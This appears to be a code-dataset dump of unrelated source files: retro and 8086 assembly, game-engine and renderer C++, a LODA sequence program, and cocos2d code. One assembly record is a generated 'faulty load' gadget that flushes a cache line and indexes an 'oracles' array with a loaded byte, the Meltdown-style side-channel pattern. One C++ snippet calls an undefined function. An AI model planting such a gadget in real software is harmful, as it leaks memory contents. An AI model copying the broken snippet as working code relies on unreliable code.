text
stringlengths
1
1.05M
SECTION code_clib PUBLIC plot_MODE2 .plot_MODE2 ld a,h cp 128 ret nc defc NEEDplot = 1 INCLUDE "target/spc1000/graphics/pixel_MODE2.inc"
DATA SEGMENT NUM1 DB ? NUM2 DB ? RESULT DB ? MSG1 DB 10,13,"ENTER INT 1 : $" MSG2 DB 10,13,"ENTER INT 2 : $" MSG3 DB 10,13,"MUL : $" ENDS CODE SEGMENT ASSUME DS:DATA CS:CODE START: MOV AX,DATA MOV DS,AX LEA DX,MSG1 MOV AH,9 INT 21H MOV AH,1 INT 21H SUB AL,30H MOV NUM1,AL LEA DX,MSG2 MOV AH,9 INT 21H MOV AH,1 INT 21H SUB AL,30H MOV NUM2,AL MUL NUM1 MOV RESULT,AL AAM ADD AH,30H ADD AL,30H MOV BX,AX LEA DX,MSG3 MOV AH,9 INT 21H MOV AH,2 MOV DL,BH INT 21H MOV AH,2 MOV DL,BL INT 21H MOV AH,4CH INT 21H ENDS END START
; ; ; ZX Maths Routines ; ; 21/03/03 - Stefano Bodrato ; ; $Id: cosh.asm,v 1.2 2009/06/22 21:44:17 dom Exp $ ; ; ;double cosh(double) ;Number in FA.. ; e = exp(x) ; ; return 0.5*(e+1.0/e) ; ; IF FORzx INCLUDE "zxfp.def" ELSE INCLUDE "81fp.def" ENDIF XLIB cosh LIB fsetup1 LIB stkequ .cosh call fsetup1 defb ZXFP_EXP ; and at the beginning exp (x) defb ZXFP_DUPLICATE defb ZXFP_STK_ONE defb ZXFP_EXCHANGE defb ZXFP_DIVISION ; 1/e defb ZXFP_ADDITION defb ZXFP_STK_HALF defb ZXFP_MULTIPLY defb ZXFP_END_CALC jp stkequ
#include "stdafx.h" #include "map_spot.h" #include "map_location.h" #include "ui/UIXmlInit.h" #include "ui/UIMApWnd.h" #include "level.h" #include "../xr_object.h" #include "object_broker.h" #include "ui/UITextureMaster.h" CMapSpot::CMapSpot(CMapLocation* ml) :m_map_location(ml) { ClipperOn (); m_bScale = false; } CMapSpot::~CMapSpot() { } void CMapSpot::Load(CUIXml* xml, LPCSTR path) { CUIXmlInit::InitStatic(*xml,path,0,this); int i = xml->ReadAttribInt(path, 0, "scale", 0); m_bScale = (i==1); m_originSize = GetWndSize(); } LPCSTR CMapSpot::GetHint() { return MapLocation()->GetHint(); }; void CMapSpot::Update() { inherited::Update(); if(m_bCursorOverWindow){ VERIFY(m_dwFocusReceiveTime>=0); if( Device.dwTimeGlobal>(m_dwFocusReceiveTime+500) ){ GetMessageTarget()->SendMessage(this, MAP_SHOW_HINT, NULL); } } } bool CMapSpot::OnMouseDown (bool left_button) { /* if(left_button){ GetMessageTarget()->SendMessage(this, MAP_SELECT_SPOT); return true; }else return false; */ return false; } void CMapSpot::OnFocusLost () { inherited::OnFocusLost (); GetMessageTarget()->SendMessage(this, MAP_HIDE_HINT, NULL); } CMapSpotPointer::CMapSpotPointer(CMapLocation* ml) :inherited(ml) { ClipperOn(); } CMapSpotPointer::~CMapSpotPointer() { } LPCSTR CMapSpotPointer::GetHint() { m_pointer_hint = "to: "; m_pointer_hint += inherited::GetHint(); Fvector2 cam_pos; cam_pos.set(Device.vCameraPosition.x,Device.vCameraPosition.z); float dist = MapLocation()->Position().distance_to(cam_pos); string32 s; sprintf(s," [%.2f]m.", dist); m_pointer_hint += s; return m_pointer_hint.c_str(); } ////////////////////////////////////////////////// CMiniMapSpot::CMiniMapSpot(CMapLocation* ml) :inherited(ml) { } CMiniMapSpot::~CMiniMapSpot() { } void CMiniMapSpot::Load(CUIXml* xml, LPCSTR path) { inherited::Load(xml,path); string256 buf; XML_NODE* n = NULL; Frect base_rect; base_rect.x1 = 0; base_rect.y1 = 0; base_rect.x2 = xml->ReadAttribFlt(path, 0, "width", 0); base_rect.y2 = xml->ReadAttribFlt(path, 0, "height", 0); Frect _stored_rect = m_UIStaticItem.GetOriginalRect(); strconcat(buf, path, ":texture_above"); n = xml->NavigateToNode(buf,0); if(n){ LPCSTR texture = xml->Read(buf, 0, NULL); CUITextureMaster::InitTexture (texture, "hud\\default", &m_UIStaticItem); if(strchr(texture,'\\')) { float x = xml->ReadAttribFlt(buf, 0, "x", base_rect.x1); float y = xml->ReadAttribFlt(buf, 0, "y", base_rect.y1); float width = xml->ReadAttribFlt(buf, 0, "width", base_rect.width()); float height = xml->ReadAttribFlt(buf, 0, "height", base_rect.height()); m_tex_rect_above.set (x,y,x+width,y+height); }else m_tex_rect_above = m_UIStaticItem.GetOriginalRect(); m_icon_above = m_UIStaticItem.GetShader (); } strconcat(buf, path, ":texture_below"); n = xml->NavigateToNode(buf,0); if(n){ LPCSTR texture = xml->Read(buf, 0, NULL); CUITextureMaster::InitTexture (texture, "hud\\default", &m_UIStaticItem); if(strchr(texture,'\\')) { float x = xml->ReadAttribFlt(buf, 0, "x", base_rect.x1); float y = xml->ReadAttribFlt(buf, 0, "y", base_rect.y1); float width = xml->ReadAttribFlt(buf, 0, "width", base_rect.width()); float height = xml->ReadAttribFlt(buf, 0, "height", base_rect.height()); m_tex_rect_below.set (x,y,x+width,y+height); }else m_tex_rect_below = m_UIStaticItem.GetOriginalRect(); m_icon_below = m_UIStaticItem.GetShader (); } strconcat(buf, path, ":texture"); n = xml->NavigateToNode(buf,0); if(n){ LPCSTR texture = xml->Read(buf, 0, NULL); CUITextureMaster::InitTexture (texture, "hud\\default", &m_UIStaticItem); if(strchr(texture,'\\')) { float x = xml->ReadAttribFlt(buf, 0, "x", base_rect.x1); float y = xml->ReadAttribFlt(buf, 0, "y", base_rect.y1); float width = xml->ReadAttribFlt(buf, 0, "width", base_rect.width()); float height = xml->ReadAttribFlt(buf, 0, "height", base_rect.height()); m_tex_rect_normal.set (x,y,x+width,y+height); }else m_tex_rect_normal = m_UIStaticItem.GetOriginalRect(); m_icon_normal = m_UIStaticItem.GetShader (); } m_UIStaticItem.SetOriginalRect (_stored_rect); } void CMiniMapSpot::Draw() { CObject* O = Level().CurrentViewEntity(); if(O&&m_icon_above&&m_icon_below){ float ml_y = MapLocation()->GetLastPosition().y; float d = O->Position().y-ml_y; if(d>1.8f){ GetUIStaticItem().SetShader(m_icon_below); GetUIStaticItem().SetOriginalRect(m_tex_rect_below.x1,m_tex_rect_below.y1,m_tex_rect_below.x2,m_tex_rect_below.y2); }else if(d<-1.8f){ GetUIStaticItem().SetShader(m_icon_above); GetUIStaticItem().SetOriginalRect(m_tex_rect_above.x1,m_tex_rect_above.y1,m_tex_rect_above.x2,m_tex_rect_above.y2); }else{ GetUIStaticItem().SetShader(m_icon_normal); GetUIStaticItem().SetOriginalRect(m_tex_rect_normal.x1,m_tex_rect_normal.y1,m_tex_rect_normal.x2,m_tex_rect_normal.y2); } }; inherited::Draw(); }
#include <eigen3/Eigen/Core> #include <numpy_eigen/boost_python_headers.hpp> Eigen::Matrix<double, 3, Eigen::Dynamic> test_double_3_D(const Eigen::Matrix<double, 3, Eigen::Dynamic> & M) { return M; } void export_double_3_D() { boost::python::def("test_double_3_D",test_double_3_D); }
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %r15 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x17f9, %rdx nop nop add $31211, %r9 mov $0x6162636465666768, %rbp movq %rbp, %xmm3 movups %xmm3, (%rdx) nop nop nop and $45215, %rdi lea addresses_WC_ht+0x1a5af, %r15 dec %r9 mov $0x6162636465666768, %r14 movq %r14, %xmm5 movups %xmm5, (%r15) nop nop sub %r15, %r15 lea addresses_UC_ht+0x11d59, %rdi nop nop nop nop add $19615, %r13 movl $0x61626364, (%rdi) xor %r15, %r15 lea addresses_normal_ht+0xa6f1, %rsi lea addresses_UC_ht+0x13379, %rdi nop nop nop nop nop and $33189, %rbp mov $126, %rcx rep movsq xor %rsi, %rsi lea addresses_UC_ht+0x117fb, %r9 nop nop nop nop add %rdx, %rdx mov (%r9), %r14d nop nop and %rbp, %rbp pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r15 pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r15 push %r9 push %rbx // Load lea addresses_US+0x10bf9, %rbx clflush (%rbx) nop nop nop sub $16112, %r15 mov (%rbx), %r13w nop nop nop nop add $6551, %r11 // Faulty Load lea addresses_US+0x10bf9, %r9 nop nop xor %r13, %r13 movaps (%r9), %xmm7 vpextrq $0, %xmm7, %r15 lea oracles, %r9 and $0xff, %r15 shlq $12, %r15 mov (%r9,%r15,1), %r15 pop %rbx pop %r9 pop %r15 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_US'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_US'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_US'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 10, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 1, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
/////////////////////////////////////////////////////////////////////// // Wendy default renderer // Copyright (c) 2005 Camilla Berglund <elmindreda@elmindreda.org> // // This software is provided 'as-is', without any express or implied // warranty. In no event will the authors be held liable for any // damages arising from the use of this software. // // Permission is granted to anyone to use this software for any // purpose, including commercial applications, and to alter it and // redistribute it freely, subject to the following restrictions: // // 1. The origin of this software must not be misrepresented; you // must not claim that you wrote the original software. If you use // this software in a product, an acknowledgment in the product // documentation would be appreciated but is not required. // // 2. Altered source versions must be plainly marked as such, and // must not be misrepresented as being the original software. // // 3. This notice may not be removed or altered from any source // distribution. // /////////////////////////////////////////////////////////////////////// #include <wendy/Config.hpp> #include <wendy/Core.hpp> #include <wendy/Transform.hpp> #include <wendy/Primitive.hpp> #include <wendy/Frustum.hpp> #include <wendy/Camera.hpp> #include <wendy/RenderPool.hpp> #include <wendy/RenderState.hpp> #include <wendy/RenderMaterial.hpp> #include <wendy/RenderScene.hpp> #include <wendy/RenderSprite.hpp> #include <glm/gtx/rotate_vector.hpp> #include <glm/gtx/quaternion.hpp> #include <glm/gtx/norm.hpp> /////////////////////////////////////////////////////////////////////// namespace wendy { namespace render { /////////////////////////////////////////////////////////////////////// namespace { void realizeSpriteVertices(Vertex2ft3fv* vertices, const vec3& cameraPosition, const vec3& spritePosition, const vec2& size, float angle, SpriteType3 type) { vec3 axisX, axisY; const vec2 offset(size.x / 2.f, size.y / 2.f); if (type == STATIC_SPRITE) { axisX = vec3(offset.x, 0.f, 0.f); axisY = vec3(0.f, offset.y, 0.f); if (angle != 0.f) { axisX = rotateZ(axisX, degrees(angle)); axisY = rotateZ(axisY, degrees(angle)); } } else if (type == CYLINDRIC_SPRITE || type == SPHERICAL_SPRITE) { vec3 axisZ(cameraPosition.x - spritePosition.x, 0.f, cameraPosition.z - spritePosition.z); if (length2(axisZ) < 0.001f) axisZ = vec3(0.f, 0.f, 1.f); else axisZ = normalize(axisZ); axisY = vec3(0.f, offset.y, 0.f); axisX = normalize(cross(axisY, axisZ)) * offset.x; if (type == SPHERICAL_SPRITE) { axisZ = normalize(cameraPosition - spritePosition); axisY = normalize(cross(axisZ, axisX)) * offset.y; } if (angle != 0.f) { quat rotZ = angleAxis(degrees(angle), axisZ); axisX = rotate(rotZ, axisX); axisY = rotate(rotZ, axisY); } } else logError("Unknown sprite type %u", type); vertices[0].texcoord = vec2(0.f, 0.f); vertices[0].position = spritePosition - axisX - axisY; vertices[1].texcoord = vec2(1.f, 0.f); vertices[1].position = spritePosition + axisX - axisY; vertices[2].texcoord = vec2(1.f, 1.f); vertices[2].position = spritePosition + axisX + axisY; vertices[3].texcoord = vec2(0.f, 1.f); vertices[3].position = spritePosition - axisX + axisY; } } /*namespace*/ /////////////////////////////////////////////////////////////////////// Sprite2::Sprite2(): texArea(vec2(0.f), vec2(1.f)), position(0.f), size(1.f), angle(0.f) { } void Sprite2::render(VertexPool& pool) const { Vertex2ft2fv vertices[4]; realizeVertices(vertices); GL::VertexRange range = pool.allocate(4, Vertex2ft2fv::format); if (range.isEmpty()) return; range.copyFrom(vertices); pool.context().render(GL::PrimitiveRange(GL::TRIANGLE_FAN, range)); } void Sprite2::realizeVertices(Vertex2ft2fv* vertices) const { const vec2 offset(size.x / 2.f, size.y / 2.f); vertices[0].texcoord = vec2(texArea.position.x + texArea.size.x, texArea.position.y + texArea.size.y); vertices[1].texcoord = vec2(texArea.position.x, texArea.position.y + texArea.size.y); vertices[2].texcoord = vec2(texArea.position.x, texArea.position.y); vertices[3].texcoord = vec2(texArea.position.x + texArea.size.x, texArea.position.y); vertices[0].position = vec2( offset.x, offset.y); vertices[1].position = vec2(-offset.x, offset.y); vertices[2].position = vec2(-offset.x, -offset.y); vertices[3].position = vec2( offset.x, -offset.y); for (uint i = 0; i < 4; i++) { vertices[i].position = rotate(vertices[i].position, degrees(angle)); vertices[i].position += position; } } /////////////////////////////////////////////////////////////////////// Sprite3::Sprite3(): size(1.f), angle(0.f), type(STATIC_SPRITE), material(nullptr) { } void Sprite3::enqueue(Scene& scene, const Camera& camera, const Transform3& transform) const { if (!material) { logError("Cannot enqueue sprite without a material"); return; } GL::VertexRange range = scene.vertexPool().allocate(4, Vertex2ft3fv::format); if (range.isEmpty()) return; const vec3 cameraPos = camera.transform().position; const vec3 spritePos = transform.position; Vertex2ft3fv vertices[4]; realizeSpriteVertices(vertices, cameraPos, spritePos, size, angle, type); range.copyFrom(vertices); scene.createOperations(Transform3::IDENTITY, GL::PrimitiveRange(GL::TRIANGLE_FAN, range), *material, camera.normalizedDepth(spritePos)); } Sphere Sprite3::bounds() const { return Sphere(vec3(0.f), length(size) / 2.f); } /////////////////////////////////////////////////////////////////////// } /*namespace render*/ } /*namespace wendy*/ ///////////////////////////////////////////////////////////////////////
; A237711: The number of P-positions in the game of Nim with up to four piles, allowing for piles of zero, such that the total number of objects in all piles is 2n. ; Submitted by Christian Krause ; 1,6,7,36,13,42,43,216,49,78,55,252,85,258,259,1296,265,294,127,468,133,330,307,1512,337,510,343,1548,517,1554,1555,7776,1561,1590,559,1764,421,762,595,2808,601,798,463,1980,637,1842,1819,9072,1849 mul $0,4 add $0,1 mov $2,2 lpb $0 sub $0,1 div $0,2 sub $2,$3 mul $2,6 mov $3,6 add $3,$0 div $3,2 mod $3,2 mov $4,$2 add $2,$1 mul $3,$4 add $1,$3 lpe mov $0,$1 div $0,12
#include<iostream> using namespace std; int main(){ int n; cin>>n; int arr[n]; for(int i = 0; i < n; i++){ cin>>arr[i]; } permutation1(arr, ""); return 0; }
/**************************************************************************** Copyright (c) 2011 ForzeField Studios S.L. Copyright (c) 2010-2012 cocos2d-x.org Copyright (c) 2013-2016 Chukong Technologies Inc. http://www.cocos2d-x.org Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN false EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ****************************************************************************/ #include "3d/CCMotionStreak3D.h" #include "math/CCVertex.h" #include "base/CCDirector.h" #include "renderer/CCTextureCache.h" #include "renderer/ccGLStateCache.h" #include "renderer/CCTexture2D.h" #include "renderer/CCRenderer.h" #include "renderer/CCGLProgramState.h" #include "renderer/CCRenderState.h" NS_CC_BEGIN MotionStreak3D::MotionStreak3D() : _startingPositionInitialized(false) , _texture(nullptr) , _blendFunc(BlendFunc::ALPHA_NON_PREMULTIPLIED) , _stroke(0.0f) , _fadeDelta(0.0f) , _minSeg(0.0f) , _maxPoints(0) , _nuPoints(0) , _previousNuPoints(0) , _pointVertexes(nullptr) , _pointState(nullptr) , _vertices(nullptr) , _colorPointer(nullptr) , _texCoords(nullptr) , _positionR2D(0.f, 0.f) , _sweepAxis(0.f, 1.f, 0.f) { } MotionStreak3D::~MotionStreak3D() { CC_SAFE_RELEASE(_texture); CC_SAFE_FREE(_pointState); CC_SAFE_FREE(_pointVertexes); CC_SAFE_FREE(_vertices); CC_SAFE_FREE(_colorPointer); CC_SAFE_FREE(_texCoords); } MotionStreak3D* MotionStreak3D::create(float fade, float minSeg, float stroke, const Color3B& color, const std::string& path) { MotionStreak3D *ret = new (std::nothrow) MotionStreak3D(); if (ret && ret->initWithFade(fade, minSeg, stroke, color, path)) { ret->autorelease(); return ret; } CC_SAFE_DELETE(ret); return nullptr; } MotionStreak3D* MotionStreak3D::create(float fade, float minSeg, float stroke, const Color3B& color, Texture2D* texture) { MotionStreak3D *ret = new (std::nothrow) MotionStreak3D(); if (ret && ret->initWithFade(fade, minSeg, stroke, color, texture)) { ret->autorelease(); return ret; } CC_SAFE_DELETE(ret); return nullptr; } bool MotionStreak3D::initWithFade(float fade, float minSeg, float stroke, const Color3B& color, const std::string& path) { CCASSERT(!path.empty(), "Invalid filename"); Texture2D *texture = Director::getInstance()->getTextureCache()->addImage(path); return initWithFade(fade, minSeg, stroke, color, texture); } bool MotionStreak3D::initWithFade(float fade, float minSeg, float stroke, const Color3B& color, Texture2D* texture) { Node::setPosition(Vec2::ZERO); setAnchorPoint(Vec2::ZERO); setIgnoreAnchorPointForPosition(true); _startingPositionInitialized = false; _positionR.setZero(); _minSeg = (minSeg == -1.0f) ? stroke/5.0f : minSeg; _minSeg *= _minSeg; _stroke = stroke; _fadeDelta = 1.0f/fade; _maxPoints = (int)(fade*60.0f)+2; _nuPoints = 0; _pointState = (float *)malloc(sizeof(float) * _maxPoints); _pointVertexes = (Vec3*)malloc(sizeof(Vec3) * _maxPoints); _vertices = (Vec3*)malloc(sizeof(Vec3) * _maxPoints * 2); _texCoords = (Tex2F*)malloc(sizeof(Tex2F) * _maxPoints * 2); _colorPointer = (GLubyte*)malloc(sizeof(GLubyte) * _maxPoints * 2 * 4); // Set blend mode _blendFunc = BlendFunc::ALPHA_NON_PREMULTIPLIED; // shader state setGLProgramState(GLProgramState::getOrCreateWithGLProgramName(GLProgram::SHADER_NAME_POSITION_TEXTURE_COLOR, texture)); setTexture(texture); setColor(color); scheduleUpdate(); return true; } void MotionStreak3D::setPosition(const Vec2& position) { if (!_startingPositionInitialized) { _startingPositionInitialized = true; } _positionR = Vec3(position.x, position.y, 0); } void MotionStreak3D::setPosition(float x, float y) { if (!_startingPositionInitialized) { _startingPositionInitialized = true; } _positionR.x = x; _positionR.y = y; } void MotionStreak3D::setPosition3D(const Vec3& position) { if (!_startingPositionInitialized) { _startingPositionInitialized = true; } _positionR = position; } void MotionStreak3D::setRotation3D(const Vec3& /*rotation*/) {} void MotionStreak3D::setRotationQuat(const Quaternion& /*quat*/) {} const Vec2& MotionStreak3D::getPosition() const { _positionR2D.x = _positionR.x; _positionR2D.y = _positionR.y; return _positionR2D; } void MotionStreak3D::getPosition(float* x, float* y) const { *x = _positionR.x; *y = _positionR.y; } float MotionStreak3D::getPositionX() const { return _positionR.x; } Vec3 MotionStreak3D::getPosition3D() const { return Vec3(_positionR.x, _positionR.y, getPositionZ()); } void MotionStreak3D::setPositionX(float x) { if (!_startingPositionInitialized) { _startingPositionInitialized = true; } _positionR.x = x; } float MotionStreak3D::getPositionY() const { return _positionR.y; } void MotionStreak3D::setPositionY(float y) { if (!_startingPositionInitialized) { _startingPositionInitialized = true; } _positionR.y = y; } void MotionStreak3D::tintWithColor(const Color3B& colors) { setColor(colors); // Fast assignation for(unsigned int i = 0; i<_nuPoints*2; i++) { *((Color3B*) (_colorPointer+i*4)) = colors; } } Texture2D* MotionStreak3D::getTexture(void) const { return _texture; } void MotionStreak3D::setTexture(Texture2D *texture) { if (_texture != texture) { CC_SAFE_RETAIN(texture); CC_SAFE_RELEASE(_texture); _texture = texture; } } void MotionStreak3D::setBlendFunc(const BlendFunc &blendFunc) { _blendFunc = blendFunc; } const BlendFunc& MotionStreak3D::getBlendFunc(void) const { return _blendFunc; } void MotionStreak3D::setOpacity(GLubyte /*opacity*/) { CCASSERT(false, "Set opacity no supported"); } GLubyte MotionStreak3D::getOpacity(void) const { CCASSERT(false, "Opacity no supported"); return 0; } void MotionStreak3D::setOpacityModifyRGB(bool /*bValue*/) { } bool MotionStreak3D::isOpacityModifyRGB(void) const { return false; } void MotionStreak3D::update(float delta) { if (!_startingPositionInitialized) { return; } delta *= _fadeDelta; unsigned int newIdx, newIdx2, i, i2; unsigned int mov = 0; // Update current points for(i = 0; i<_nuPoints; i++) { _pointState[i]-=delta; if(_pointState[i] <= 0) mov++; else { newIdx = i-mov; if(mov>0) { // Move data _pointState[newIdx] = _pointState[i]; // Move point _pointVertexes[newIdx] = _pointVertexes[i]; // Move vertices i2 = i*2; newIdx2 = newIdx*2; _vertices[newIdx2] = _vertices[i2]; _vertices[newIdx2+1] = _vertices[i2+1]; // Move color i2 *= 4; newIdx2 *= 4; _colorPointer[newIdx2+0] = _colorPointer[i2+0]; _colorPointer[newIdx2+1] = _colorPointer[i2+1]; _colorPointer[newIdx2+2] = _colorPointer[i2+2]; _colorPointer[newIdx2+4] = _colorPointer[i2+4]; _colorPointer[newIdx2+5] = _colorPointer[i2+5]; _colorPointer[newIdx2+6] = _colorPointer[i2+6]; }else newIdx2 = newIdx*8; const GLubyte op = (GLubyte)(_pointState[newIdx] * 255.0f); _colorPointer[newIdx2+3] = op; _colorPointer[newIdx2+7] = op; } } _nuPoints-=mov; // Append new point bool appendNewPoint = true; if(_nuPoints >= _maxPoints) { appendNewPoint = false; } else if(_nuPoints>0) { bool a1 = (_pointVertexes[_nuPoints-1] - _positionR).lengthSquared() < _minSeg; bool a2 = (_nuPoints == 1) ? false : ((_pointVertexes[_nuPoints-2] - _positionR).lengthSquared() < (_minSeg * 2.0f)); if(a1 || a2) { appendNewPoint = false; } } if(appendNewPoint) { _pointVertexes[_nuPoints] = _positionR; _pointState[_nuPoints] = 1.0f; // Color assignment const unsigned int offset = _nuPoints*8; *((Color3B*)(_colorPointer + offset)) = _displayedColor; *((Color3B*)(_colorPointer + offset+4)) = _displayedColor; // Opacity _colorPointer[offset+3] = 255; _colorPointer[offset+7] = 255; // Generate polygon { float stroke = _stroke * 0.5f; _vertices[_nuPoints * 2] = _pointVertexes[_nuPoints] + (_sweepAxis * stroke); _vertices[_nuPoints * 2 + 1] = _pointVertexes[_nuPoints] - (_sweepAxis * stroke); } _nuPoints ++; } // Updated Tex Coords only if they are different than previous step if( _nuPoints && _previousNuPoints != _nuPoints ) { float texDelta = 1.0f / _nuPoints; for( i=0; i < _nuPoints; i++ ) { _texCoords[i*2] = Tex2F(0, texDelta*i); _texCoords[i*2+1] = Tex2F(1, texDelta*i); } _previousNuPoints = _nuPoints; } } void MotionStreak3D::reset() { _nuPoints = 0; } void MotionStreak3D::onDraw(const Mat4 &transform, uint32_t /*flags*/) { getGLProgram()->use(); getGLProgram()->setUniformsForBuiltins(transform); GL::enableVertexAttribs(GL::VERTEX_ATTRIB_FLAG_POS_COLOR_TEX ); GL::blendFunc( _blendFunc.src, _blendFunc.dst ); GL::bindTexture2D( _texture->getName() ); glDisable(GL_CULL_FACE); RenderState::StateBlock::_defaultState->setCullFace(false); glEnable(GL_DEPTH_TEST); RenderState::StateBlock::_defaultState->setDepthTest(true); glVertexAttribPointer(GLProgram::VERTEX_ATTRIB_POSITION, 3, GL_FLOAT, GL_FALSE, 0, _vertices); glVertexAttribPointer(GLProgram::VERTEX_ATTRIB_TEX_COORD, 2, GL_FLOAT, GL_FALSE, 0, _texCoords); glVertexAttribPointer(GLProgram::VERTEX_ATTRIB_COLOR, 4, GL_UNSIGNED_BYTE, GL_TRUE, 0, _colorPointer); glDrawArrays(GL_TRIANGLE_STRIP, 0, (GLsizei)_nuPoints*2); CC_INCREMENT_GL_DRAWN_BATCHES_AND_VERTICES(1, _nuPoints*2); } void MotionStreak3D::draw(Renderer *renderer, const Mat4 &transform, uint32_t flags) { if(_nuPoints <= 1) return; _customCommand.init(_globalZOrder, transform, flags); _customCommand.func = CC_CALLBACK_0(MotionStreak3D::onDraw, this, transform, flags); renderer->addCommand(&_customCommand); } NS_CC_END
